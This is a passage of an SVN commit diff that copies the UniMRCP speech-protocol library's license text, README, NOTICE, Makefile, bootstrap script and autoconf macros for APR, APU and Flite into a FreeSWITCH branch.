+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

Deleted: freeswitch/branches/seven/libs/unimrcp/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,42 @@
+macrodir		= @ac_macro_dir@
+auxdir			= @ac_aux_dir@
+AUX_DIST		= $(auxdir)/config.guess \
+                          $(auxdir)/config.sub \
+                          $(auxdir)/install-sh \
+                          $(auxdir)/ltconfig \
+                          $(auxdir)/ltmain.sh \
+                          $(auxdir)/depcomp \
+                          $(auxdir)/missing
+EXTRA_DIST		= bootstrap
+
+AUTOMAKE_OPTIONS 	= foreign
+MAINTAINERCLEANFILES 	= Makefile.in aclocal.m4 configure $(AUX_DIST)
+
+ACLOCAL			= aclocal -I $(macrodir)
+
+SUBDIRS                 = libs modules plugins platforms build
+if TEST_SUITES
+SUBDIRS                += tests
+endif
+
+dox:
+	doxygen $(top_srcdir)/docs/doxygen.conf
+
+def-conf:
+	test -d $(confdir) || $(mkinstalldirs) $(confdir)
+	for conffile in `find conf -name \*.xml` ; do \
+	    filename=`echo $$conffile | sed -e 's|^.*/||'`; \
+	    $(INSTALL) -m 644 conf/$$filename $(confdir); \
+	done
+
+def-data:
+	test -d $(datadir) || $(mkinstalldirs) $(datadir)
+	for datafile in `find data -name *.pcm -o -name *.xml` ; do \
+	    filename=`echo $$datafile | sed -e 's|^.*/||'`; \
+	    $(INSTALL) -m 644 data/$$filename $(datadir); \
+	done
+           
+install-data-local:
+	test -d $(confdir) || $(MAKE) def-conf
+	test -d $(datadir) || $(MAKE) def-data
+	test -d $(logdir)  || $(mkinstalldirs) $(logdir)

Deleted: freeswitch/branches/seven/libs/unimrcp/NOTICE

Copied: freeswitch/branches/seven/libs/unimrcp/NOTICE (from rev 14471, freeswitch/trunk/libs/unimrcp/NOTICE) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/NOTICE	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/NOTICE	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,47 @@
+The UniMRCP Project (http://www.unimrcp.org)
+Copyright (C) 2008 Arsen Chaloyan
+Licensed under the Apache License, Version 2.0 (the "License").
+
+This product includes a number of subcomponents with
+separate copyright notices and license terms.
+
+
+Notice for APR (Apache Portable Runtime) library
+---------------------------------------------------
+This product includes software developed by
+The Apache Software Foundation (http://www.apache.org/).
+
+Portions of this software were developed at the National Center
+for Supercomputing Applications (NCSA) at the University of
+Illinois at Urbana-Champaign.
+
+This software contains code derived from the RSA Data Security
+Inc. MD5 Message-Digest Algorithm.
+---------------------------------------------------
+
+
+Notice for Sofia-SIP library
+---------------------------------------------------
+Copyright (C) 2005-2006 Nokia Corporation and others (see the
+in individual files for a detailed list of copyright holders).
+Contact: Pekka Pessi <Pekka.Pessi@nokia.com>
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public License
+as published by the Free Software Foundation; either version 2.1 of
+the License, or (at your option) any later version.
+---------------------------------------------------
+
+
+Notice for G711 implementation
+---------------------------------------------------
+g711.h/g711.c - A-law and u-law transcoding routines
+
+Written by Steve Underwood <steveu@coppice.org>
+Copyright (C) 2006 Steve Underwood
+
+Despite my general liking of the GPL, I place this code in the
+public domain for the benefit of all mankind - even the slimy
+ones who might try to proprietize my work and use it to my
+detriment.
+---------------------------------------------------

Deleted: freeswitch/branches/seven/libs/unimrcp/README

Copied: freeswitch/branches/seven/libs/unimrcp/README (from rev 14471, freeswitch/trunk/libs/unimrcp/README) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,51 @@
+INTRODUCTION
+============
+UniMRCP - Open Source Media Resource Control Protocol Stack.
+
+
+INSTALLATION
+============
+See the file "INSTALLATION" for installation tips.
+
+
+DOCUMENTATION
+=============
+See the directory "docs/dox" for doxygen generated documentation.
+See the directory "docs/ea" for UML based design concepts
+   (Enterpise Architect generated HTML pages).
+
+
+REFERENCES
+==========
+Website:
+   http://www.unimrcp.org
+
+Project Home:
+   http://code.google.com/p/unimrcp/
+
+Wiki:
+   http://code.google.com/p/unimrcp/w/list
+
+Issue Tracker:
+   http://code.google.com/p/unimrcp/issues/list
+
+Discussion Group:
+   http://groups.google.com/group/unimrcp
+
+Version Control Repository (SVN):
+   http://unimrcp.googlecode.com/svn/trunk/
+
+UML Documentation File (Enterpise Architect):
+   http://unimrcp.googlecode.com/svn/misc/unimrcp.eap
+
+Commit Monitor:
+   http://code.google.com/p/unimrcp/source/list
+   http://groups.google.com/group/unimrcp-svn-commits
+
+
+LICENSING
+=========
+UniMRCP is licensed under terms of the Apache 2.0 license.
+See the file "LICENSE" for more information.
+
+Copyright 2008 Arsen Chaloyan

Deleted: freeswitch/branches/seven/libs/unimrcp/acinclude.m4

Copied: freeswitch/branches/seven/libs/unimrcp/acinclude.m4 (from rev 14471, freeswitch/trunk/libs/unimrcp/acinclude.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/acinclude.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/acinclude.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,9 @@
+m4_include([build/acmacros/apr.m4])
+m4_include([build/acmacros/apu.m4])
+m4_include([build/acmacros/find_apr.m4])
+m4_include([build/acmacros/find_apu.m4])
+m4_include([build/acmacros/sofia-sip.m4])
+m4_include([build/acmacros/swift.m4])
+m4_include([build/acmacros/sphinxbase.m4])
+m4_include([build/acmacros/pocketsphinx.m4])
+m4_include([build/acmacros/flite.m4])

Deleted: freeswitch/branches/seven/libs/unimrcp/bootstrap

Copied: freeswitch/branches/seven/libs/unimrcp/bootstrap (from rev 14471, freeswitch/trunk/libs/unimrcp/bootstrap) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/bootstrap	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/bootstrap	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+#! /bin/sh
+
+case `uname` in
+    Darwin) libtoolize=glibtoolize ;;
+    *)      libtoolize=libtoolize  ;;
+esac
+
+set -x
+$libtoolize --force --automake --copy
+aclocal -I build/acmacros
+automake --foreign --add-missing --copy
+autoconf
+
+rm -rf autom4te.cache

Copied: freeswitch/branches/seven/libs/unimrcp/build (from rev 14471, freeswitch/trunk/libs/unimrcp/build)

Property changes: freeswitch/branches/seven/libs/unimrcp/build


Name: svn:ignore
   + Makefile.in
depcomp
missing
config.guess
config.sub
ltmain.sh
install-sh
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/build/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/build/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/build/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+MAINTAINERCLEANFILES   = Makefile.in
+
+SUBDIRS                = pkgconfig

Copied: freeswitch/branches/seven/libs/unimrcp/build/acmacros (from rev 14471, freeswitch/trunk/libs/unimrcp/build/acmacros)

Deleted: freeswitch/branches/seven/libs/unimrcp/build/acmacros/apr.m4

Copied: freeswitch/branches/seven/libs/unimrcp/build/acmacros/apr.m4 (from rev 14471, freeswitch/trunk/libs/unimrcp/build/acmacros/apr.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/acmacros/apr.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/acmacros/apr.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,44 @@
+dnl  UNIMRCP_CHECK_APR
+
+AC_DEFUN([UNIMRCP_CHECK_APR],
+[
+  AC_MSG_NOTICE([Apache Portable Runtime (APR) library configuration])
+
+  APR_FIND_APR("", "", 1, 1)
+
+  if test $apr_found = "no"; then
+    AC_MSG_WARN([APR not found])
+    UNIMRCP_DOWNLOAD_APR
+  fi
+
+  if test $apr_found = "reconfig"; then
+    AC_MSG_WARN([APR reconfig])
+  fi
+
+  dnl check APR version number
+
+  apr_version="`$apr_config --version`"
+  AC_MSG_RESULT([$apr_version])
+
+  dnl Get build information from APR
+
+  CPPFLAGS="$CPPFLAGS `$apr_config --cppflags`"
+  CFLAGS="$CFLAGS `$apr_config --cflags`"
+  LDFLAGS="$LDFLAGS `$apr_config --ldflags`"
+
+  UNIMRCP_APR_INCLUDES="`$apr_config --includes`"
+  UNIMRCP_APR_LIBS="`$apr_config --link-libtool --libs`"
+
+  AC_SUBST(UNIMRCP_APR_INCLUDES)
+  AC_SUBST(UNIMRCP_APR_LIBS)
+])
+
+dnl UNIMRCP_DOWNLOAD_APR
+dnl no apr found, print out a message telling the user what to do
+AC_DEFUN([UNIMRCP_DOWNLOAD_APR],
+[
+  echo "The Apache Portable Runtime (APR) library cannot be found."
+  echo "Please install APR on this system and supply the appropriate"
+  echo "--with-apr option to 'configure'"
+  AC_MSG_ERROR([no suitable APR found])
+])

Deleted: freeswitch/branches/seven/libs/unimrcp/build/acmacros/apu.m4

Copied: freeswitch/branches/seven/libs/unimrcp/build/acmacros/apu.m4 (from rev 14471, freeswitch/trunk/libs/unimrcp/build/acmacros/apu.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/acmacros/apu.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/acmacros/apu.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,42 @@
+dnl  UNIMRCP_CHECK_APU
+
+AC_DEFUN([UNIMRCP_CHECK_APU],
+[
+  AC_MSG_NOTICE([Apache Portable Runtime Utility (APU) library configuration])
+
+  APR_FIND_APU("", "", 1, 1)
+
+  if test $apu_found = "no"; then
+    AC_MSG_WARN([APU not found])
+    UNIMRCP_DOWNLOAD_APU
+  fi
+
+  if test $apu_found = "reconfig"; then
+    AC_MSG_WARN([APU reconfig])
+  fi
+
+  dnl check APU version number
+
+  apu_version="`$apu_config --version`"
+  AC_MSG_RESULT([$apu_version])
+
+  dnl Get build information from APU
+
+  LDFLAGS="$LDFLAGS `$apu_config --ldflags`"
+
+  UNIMRCP_APU_INCLUDES="`$apu_config --includes`"
+  UNIMRCP_APU_LIBS="`$apu_config --link-libtool --libs`"
+
+  AC_SUBST(UNIMRCP_APU_INCLUDES)
+  AC_SUBST(UNIMRCP_APU_LIBS)
+])
+
+dnl UNIMRCP_DOWNLOAD_APU
+dnl no apr-util found, print out a message telling the user what to do
+AC_DEFUN([UNIMRCP_DOWNLOAD_APU],
+[
+  echo "The Apache Portable Runtime Utility (APU) library cannot be found."
+  echo "Please install APRUTIL on this system and supply the appropriate"
+  echo "--with-apr-util option to 'configure'"
+  AC_MSG_ERROR([no suitable APU found])
+])

Deleted: freeswitch/branches/seven/libs/unimrcp/build/acmacros/find_apr.m4

Copied: freeswitch/branches/seven/libs/unimrcp/build/acmacros/find_apr.m4 (from rev 14471, freeswitch/trunk/libs/unimrcp/build/acmacros/find_apr.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/acmacros/find_apr.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/acmacros/find_apr.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,167 @@
+dnl -------------------------------------------------------- -*- autoconf -*-
+dnl Licensed to the Apache Software Foundation (ASF) under one or more
+dnl contributor license agreements.  See the NOTICE file distributed with
+dnl this work for additional information regarding copyright ownership.
+dnl The ASF licenses this file to You under the Apache License, Version 2.0
+dnl (the "License"); you may not use this file except in compliance with
+dnl the License.  You may obtain a copy of the License at
+dnl
+dnl     http://www.apache.org/licenses/LICENSE-2.0
+dnl
+dnl Unless required by applicable law or agreed to in writing, software
+dnl distributed under the License is distributed on an "AS IS" BASIS,
+dnl WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+dnl See the License for the specific language governing permissions and
+dnl limitations under the License.
+
+dnl
+dnl find_apr.m4 : locate the APR include files and libraries
+dnl
+dnl This macro file can be used by applications to find and use the APR
+dnl library. It provides a standardized mechanism for using APR. It supports
+dnl embedding APR into the application source, or locating an installed
+dnl copy of APR.
+dnl
+dnl APR_FIND_APR(srcdir, builddir, implicit-install-check, acceptable-majors)
+dnl
+dnl   where srcdir is the location of the bundled APR source directory, or
+dnl   empty if source is not bundled.
+dnl
+dnl   where builddir is the location where the bundled APR will will be built,
+dnl   or empty if the build will occur in the srcdir.
+dnl
+dnl   where implicit-install-check set to 1 indicates if there is no
+dnl   --with-apr option specified, we will look for installed copies.
+dnl
+dnl   where acceptable-majors is a space separated list of acceptable major
+dnl   version numbers. Often only a single major version will be acceptable.
+dnl   If multiple versions are specified, and --with-apr=PREFIX or the
+dnl   implicit installed search are used, then the first (leftmost) version
+dnl   in the list that is found will be used.  Currently defaults to [0 1].
+dnl
+dnl Sets the following variables on exit:
+dnl
+dnl   apr_found : "yes", "no", "reconfig"
+dnl
+dnl   apr_config : If the apr-config tool exists, this refers to it. If
+dnl                apr_found is "reconfig", then the bundled directory
+dnl                should be reconfigured *before* using apr_config.
+dnl
+dnl Note: this macro file assumes that apr-config has been installed; it
+dnl       is normally considered a required part of an APR installation.
+dnl
+dnl If a bundled source directory is available and needs to be (re)configured,
+dnl then apr_found is set to "reconfig". The caller should reconfigure the
+dnl (passed-in) source directory, placing the result in the build directory,
+dnl as appropriate.
+dnl
+dnl If apr_found is "yes" or "reconfig", then the caller should use the
+dnl value of apr_config to fetch any necessary build/link information.
+dnl
+
+AC_DEFUN([APR_FIND_APR], [
+  apr_found="no"
+
+  if test "$target_os" = "os2-emx"; then
+    # Scripts don't pass test -x on OS/2
+    TEST_X="test -f"
+  else
+    TEST_X="test -x"
+  fi
+
+  ifelse([$4], [], [
+         ifdef(AC_WARNING,AC_WARNING([$0: missing argument 4 (acceptable-majors): Defaulting to APR 0.x then APR 1.x]))
+         acceptable_majors="0 1"],
+         [acceptable_majors="$4"])
+
+  apr_temp_acceptable_apr_config=""
+  for apr_temp_major in $acceptable_majors
+  do
+    case $apr_temp_major in
+      0)
+      apr_temp_acceptable_apr_config="$apr_temp_acceptable_apr_config apr-config"
+      ;;
+      *)
+      apr_temp_acceptable_apr_config="$apr_temp_acceptable_apr_config apr-$apr_temp_major-config"
+      ;;
+    esac
+  done
+
+  AC_MSG_CHECKING(for APR)
+  AC_ARG_WITH(apr,
+  [  --with-apr=PATH         prefix for installed APR, path to APR build tree,
+                          or the full path to apr-config],
+  [
+    if test "$withval" = "no" || test "$withval" = "yes"; then
+      AC_MSG_ERROR([--with-apr requires a directory or file to be provided])
+    fi
+
+    for apr_temp_apr_config_file in $apr_temp_acceptable_apr_config
+    do
+      for lookdir in "$withval/bin" "$withval"
+      do
+        if $TEST_X "$lookdir/$apr_temp_apr_config_file"; then
+          apr_found="yes"
+          apr_config="$lookdir/$apr_temp_apr_config_file"
+          break 2
+        fi
+      done
+    done
+
+    if test "$apr_found" != "yes" && $TEST_X "$withval" && $withval --help > /dev/null 2>&1 ; then
+      apr_found="yes"
+      apr_config="$withval"
+    fi
+
+    dnl if --with-apr is used, it is a fatal error for its argument
+    dnl to be invalid
+    if test "$apr_found" != "yes"; then
+      AC_MSG_ERROR([the --with-apr parameter is incorrect. It must specify an install prefix, a build directory, or an apr-config file.])
+    fi
+  ],[
+    dnl If we allow installed copies, check those before using bundled copy.
+    if test -n "$3" && test "$3" = "1"; then
+      for apr_temp_apr_config_file in $apr_temp_acceptable_apr_config
+      do
+        if $apr_temp_apr_config_file --help > /dev/null 2>&1 ; then
+          apr_found="yes"
+          apr_config="$apr_temp_apr_config_file"
+          break
+        else
+          dnl look in some standard places
+          for lookdir in /usr /usr/local /usr/local/apr /opt/apr; do
+            if $TEST_X "$lookdir/bin/$apr_temp_apr_config_file"; then
+              apr_found="yes"
+              apr_config="$lookdir/bin/$apr_temp_apr_config_file"
+              break 2
+            fi
+          done
+        fi
+      done
+    fi
+    dnl if we have not found anything yet and have bundled source, use that
+    if test "$apr_found" = "no" && test -d "$1"; then
+      apr_temp_abs_srcdir="`cd $1 && pwd`"
+      apr_found="reconfig"
+      apr_bundled_major="`sed -n '/#define.*APR_MAJOR_VERSION/s/^[^0-9]*\([0-9]*\).*$/\1/p' \"$1/include/apr_version.h\"`"
+      case $apr_bundled_major in
+        "")
+          AC_MSG_ERROR([failed to find major version of bundled APR])
+        ;;
+        0)
+          apr_temp_apr_config_file="apr-config"
+        ;;
+        *)
+          apr_temp_apr_config_file="apr-$apr_bundled_major-config"
+        ;;
+      esac
+      if test -n "$2"; then
+        apr_config="$2/$apr_temp_apr_config_file"
+      else
+        apr_config="$1/$apr_temp_apr_config_file"
+      fi
+    fi
+  ])
+
+  AC_MSG_RESULT($apr_found)
+])

Deleted: freeswitch/branches/seven/libs/unimrcp/build/acmacros/find_apu.m4

Copied: freeswitch/branches/seven/libs/unimrcp/build/acmacros/find_apu.m4 (from rev 14471, freeswitch/trunk/libs/unimrcp/build/acmacros/find_apu.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/acmacros/find_apu.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/acmacros/find_apu.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,176 @@
+dnl -------------------------------------------------------- -*- autoconf -*-
+dnl Copyright 2002-2005 The Apache Software Foundation or its licensors, as
+dnl applicable.
+dnl
+dnl Licensed under the Apache License, Version 2.0 (the "License");
+dnl you may not use this file except in compliance with the License.
+dnl You may obtain a copy of the License at
+dnl
+dnl     http://www.apache.org/licenses/LICENSE-2.0
+dnl
+dnl Unless required by applicable law or agreed to in writing, software
+dnl distributed under the License is distributed on an "AS IS" BASIS,
+dnl WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+dnl See the License for the specific language governing permissions and
+dnl limitations under the License.
+
+dnl
+dnl find_apu.m4 : locate the APR-util (APU) include files and libraries
+dnl
+dnl This macro file can be used by applications to find and use the APU
+dnl library. It provides a standardized mechanism for using APU. It supports
+dnl embedding APU into the application source, or locating an installed
+dnl copy of APU.
+dnl
+dnl APR_FIND_APU(srcdir, builddir, implicit-install-check, acceptable-majors)
+dnl
+dnl   where srcdir is the location of the bundled APU source directory, or
+dnl   empty if source is not bundled.
+dnl
+dnl   where builddir is the location where the bundled APU will be built,
+dnl   or empty if the build will occur in the srcdir.
+dnl
+dnl   where implicit-install-check set to 1 indicates if there is no
+dnl   --with-apr-util option specified, we will look for installed copies.
+dnl
+dnl   where acceptable-majors is a space separated list of acceptable major
+dnl   version numbers. Often only a single major version will be acceptable.
+dnl   If multiple versions are specified, and --with-apr-util=PREFIX or the
+dnl   implicit installed search are used, then the first (leftmost) version
+dnl   in the list that is found will be used.  Currently defaults to [0 1].
+dnl
+dnl Sets the following variables on exit:
+dnl
+dnl   apu_found : "yes", "no", "reconfig"
+dnl
+dnl   apu_config : If the apu-config tool exists, this refers to it.  If
+dnl                apu_found is "reconfig", then the bundled directory
+dnl                should be reconfigured *before* using apu_config.
+dnl
+dnl Note: this macro file assumes that apr-config has been installed; it
+dnl       is normally considered a required part of an APR installation.
+dnl
+dnl Note: At this time, we cannot find *both* a source dir and a build dir.
+dnl       If both are available, the build directory should be passed to
+dnl       the --with-apr-util switch.
+dnl
+dnl Note: the installation layout is presumed to follow the standard
+dnl       PREFIX/lib and PREFIX/include pattern. If the APU config file
+dnl       is available (and can be found), then non-standard layouts are
+dnl       possible, since it will be described in the config file.
+dnl
+dnl If a bundled source directory is available and needs to be (re)configured,
+dnl then apu_found is set to "reconfig". The caller should reconfigure the
+dnl (passed-in) source directory, placing the result in the build directory,
+dnl as appropriate.
+dnl
+dnl If apu_found is "yes" or "reconfig", then the caller should use the
+dnl value of apu_config to fetch any necessary build/link information.
+dnl
+
+AC_DEFUN([APR_FIND_APU], [
+  apu_found="no"
+
+  if test "$target_os" = "os2-emx"; then
+    # Scripts don't pass test -x on OS/2
+    TEST_X="test -f"
+  else
+    TEST_X="test -x"
+  fi
+
+  ifelse([$4], [],
+  [
+    ifdef(AC_WARNING,([$0: missing argument 4 (acceptable-majors): Defaulting to APU 0.x then APU 1.x]))
+    acceptable_majors="0 1"
+  ], [acceptable_majors="$4"])
+
+  apu_temp_acceptable_apu_config=""
+  for apu_temp_major in $acceptable_majors
+  do
+    case $apu_temp_major in
+      0)
+      apu_temp_acceptable_apu_config="$apu_temp_acceptable_apu_config apu-config"
+      ;;
+      *)
+      apu_temp_acceptable_apu_config="$apu_temp_acceptable_apu_config apu-$apu_temp_major-config"
+      ;;
+    esac
+  done
+
+  AC_MSG_CHECKING(for APR-util)
+  AC_ARG_WITH(apr-util,
+  [  --with-apr-util=PATH    prefix for installed APU, path to APU build tree,
+                          or the full path to apu-config],
+  [
+    if test "$withval" = "no" || test "$withval" = "yes"; then
+      AC_MSG_ERROR([--with-apr-util requires a directory or file to be provided])
+    fi
+
+    for apu_temp_apu_config_file in $apu_temp_acceptable_apu_config
+    do
+      for lookdir in "$withval/bin" "$withval"
+      do
+        if $TEST_X "$lookdir/$apu_temp_apu_config_file"; then
+          apu_found="yes"
+          apu_config="$lookdir/$apu_temp_apu_config_file"
+          break 2
+        fi
+      done
+    done
+
+    if test "$apu_found" != "yes" && $TEST_X "$withval" && $withval --help > /dev/null 2>&1 ; then
+      apu_found="yes"
+      apu_config="$withval"
+    fi
+
+    dnl if --with-apr-util is used, it is a fatal error for its argument
+    dnl to be invalid
+    if test "$apu_found" != "yes"; then
+      AC_MSG_ERROR([the --with-apr-util parameter is incorrect. It must specify an install prefix, a build directory, or an apu-config file.])
+    fi
+  ],[
+    if test -n "$3" && test "$3" = "1"; then
+      for apu_temp_apu_config_file in $apu_temp_acceptable_apu_config
+      do
+        if $apu_temp_apu_config_file --help > /dev/null 2>&1 ; then
+          apu_found="yes"
+          apu_config="$apu_temp_apu_config_file"
+          break
+        else
+          dnl look in some standard places (apparently not in builtin/default)
+          for lookdir in /usr /usr/local /usr/local/apr /opt/apr /usr/local/apache2 ; do
+            if $TEST_X "$lookdir/bin/$apu_temp_apu_config_file"; then
+              apu_found="yes"
+              apu_config="$lookdir/bin/$apu_temp_apu_config_file"
+              break 2
+            fi
+          done
+        fi
+      done
+    fi
+    dnl if we have not found anything yet and have bundled source, use that
+    if test "$apu_found" = "no" && test -d "$1"; then
+      apu_temp_abs_srcdir="`cd $1 && pwd`"
+      apu_found="reconfig"
+      apu_bundled_major="`sed -n '/#define.*APU_MAJOR_VERSION/s/^[^0-9]*\([0-9]*\).*$/\1/p' \"$1/include/apu_version.h\"`"
+      case $apu_bundled_major in
+        "")
+          AC_MSG_ERROR([failed to find major version of bundled APU])
+        ;;
+        0)
+          apu_temp_apu_config_file="apu-config"
+        ;;
+        *)
+          apu_temp_apu_config_file="apu-$apu_bundled_major-config"
+        ;;
+      esac
+      if test -n "$2"; then
+        apu_config="$2/$apu_temp_apu_config_file"
+      else
+        apu_config="$1/$apu_temp_apu_config_file"
+      fi
+    fi
+  ])
+
+  AC_MSG_RESULT($apu_found)
+])

Deleted: freeswitch/branches/seven/libs/unimrcp/build/acmacros/flite.m4

Copied: freeswitch/branches/seven/libs/unimrcp/build/acmacros/flite.m4 (from rev 14471, freeswitch/trunk/libs/unimrcp/build/acmacros/flite.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/acmacros/flite.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/build/acmacros/flite.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,46 @@
+dnl UNIMRCP_CHECK_FLITE
+
+AC_DEFUN([UNIMRCP_CHECK_FLITE],
+[  
+    AC_MSG_NOTICE([Flite library configuration])
+
+    AC_MSG_CHECKING([for Flite])
+    AC_ARG_WITH(flite,
+                [  --with-flite=PATH      path to Flite build tree],
+                [flite_path=$withval],
+                [flite_path="/usr/src/flite"]
+                )
+    
+    found_flite="no"
+    
+    flite_libdir="build/libs"
+    for dir in $flite_path ; do
+        cd $dir && flite_dir=`pwd` && cd - > /dev/null
+        if test -d "$dir/$flite_libdir"; then
+            found_flite="yes"
+            UNIMRCP_FLITE_INCLUDES="-I$flite_dir/include"
+            UNIMRCP_FLITE_LIBS="$dir/$flite_libdir/libflite_cmu_us_awb.a \
+	                        $dir/$flite_libdir/libflite_cmu_us_kal.a \
+                            	$dir/$flite_libdir/libflite_cmu_us_rms.a \
+                         	$dir/$flite_libdir/libflite_cmu_us_slt.a \
+                        	$dir/$flite_libdir/libflite_cmulex.a \
+                        	$dir/$flite_libdir/libflite_usenglish.a \
+                        	$dir/$flite_libdir/libflite.a"
+            break
+        fi
+    done
+
+    if test x_$found_flite != x_yes; then
+        AC_MSG_ERROR(Cannot find Flite - looked for srcdir:$flite_srcdir in $flite_path)
+    else
+        AC_MSG_RESULT([$found_flite])
+
+case "$host" in
+    *darwin*)
+	UNIMRCP_FLITE_LIBS="$UNIMRCP_FLITE_LIBS -framework CoreFoundation -framework SystemConfiguration"                                                                ;;
+esac
+
+        AC_SUBST(UNIMRCP_FLITE_INCLUDES)
+        AC_SUBST(UNIMRCP_FLITE_LIBS)
+    fi
+])

Deleted: freeswitch/branches/seven/libs/unimrcp/build/acmacros/pocketsphinx.m4

Copied: freeswitch/branches/seven/libs/unimrcp/build/acmacros/pocketsphinx.m4 (from rev 14471, freeswitch/trunk/libs/unimrcp/build/acmacros/pocketsphinx.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/build/acmacros/pocketsphinx.m4	                        (rev 0)
